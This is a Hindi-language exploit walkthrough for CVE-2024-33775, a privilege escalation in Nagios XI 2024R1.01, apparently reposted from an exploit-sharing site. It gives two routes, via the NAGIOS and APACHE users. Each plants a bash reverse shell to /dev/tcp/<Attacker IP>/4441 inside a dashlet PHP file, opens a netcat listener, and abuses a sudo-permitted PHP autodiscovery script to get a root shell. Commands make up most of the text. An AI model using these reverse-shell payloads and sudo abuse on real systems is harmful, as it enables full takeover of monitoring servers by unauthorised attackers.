CVE-2024-33775

CVE द्वारा खोजा गया: K. Wahab (Neo`X)

भेद्यता विवरण:

• उत्पाद: Nagios XI Version 2024R1.01
• भेद्यता: उपयोगकर्ता "NAGIOS" या "APACHE" से विशेषाधिकार वृद्धि
• परिणाम: लक्ष्य प्रणाली पर पूर्ण रूट पहुंच
• CVE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-33775

शोषण:

इस उदाहरण में RSS Dashlet का उपयोग किया गया है।

1. Nagios XI का एक नया उदाहरण बनाएं:

• आप Nagios XI Version 2024R1.01 OVA फ़ाइल यहाँ से डाउनलोड कर सकते हैं: https://assets.nagios.com/downloads/nagiosxi/2024/ovf/nagiosxi-2024R1.0.1-64.ova

2. विशेषाधिकार वृद्धि:

NAGIOS के रूप में शोषण:

• dashlet .inc.php फ़ाइल में "/usr/local/nagiosxi/html/includes/dashlets/" के अंदर निम्नलिखित सामग्री जोड़ें:

exec('/bin/bash -i >& /dev/tcp/<Attacker IP>/4441 0>&1);

• हमलावर मशीन पर Netcat लिसनिंग सर्वर प्रारंभ करें:

nc -nlvp 4441

• विशेषाधिकार बढ़ाने और रूट के रूप में कनेक्शन प्राप्त करने के लिए निम्नलिखित कमांड निष्पादित करें:

sudo /usr/bin/php /usr/local/nagiosxi/scripts/components/autodiscover_new.php --addresses=127.0.0.1/1

APACHE के रूप में शोषण:

• "dashlets" प्रबंधन पृष्ठ पर जाएं और एक Dashlet डाउनलोड करें:

  root@kitploit:~

  http://TARGET_IP/nagiosxi/admin/dashlets.php?download=rss_dashlet
  

• *.inc.php को संशोधित करें:

  root@kitploit:~

  exec("sleep 30 && /bin/bash -c '/bin/bash -i >& /dev/tcp/<Attacker IP>/4441 0>&1'");
  

• हमलावर मशीन पर Netcat लिसनिंग सर्वर प्रारंभ करें:

nc -nlvp 4441

• दुर्भावनापूर्ण dashlet को dashlets प्रबंधन पृष्ठ पर अपलोड करें और APACHE उपयोगकर्ता के रूप में कनेक्शन की प्रतीक्षा करें।
• विशेषाधिकार बढ़ाने और रूट के रूप में कनेक्शन प्राप्त करने के लिए निम्नलिखित कमांड निष्पादित करें:

sudo /usr/bin/php /usr/local/nagiosxi/scripts/components/autodiscover_new.php --addresses=127.0.0.1/1

(नोट: कमांड निष्पादित करने के बाद आपको APACHE के रूप में कनेक्शन प्राप्त होगा, बाहर निकलने और कई बार फिर से लिसनर शुरू करने के लिए CTRL+C का उपयोग करें)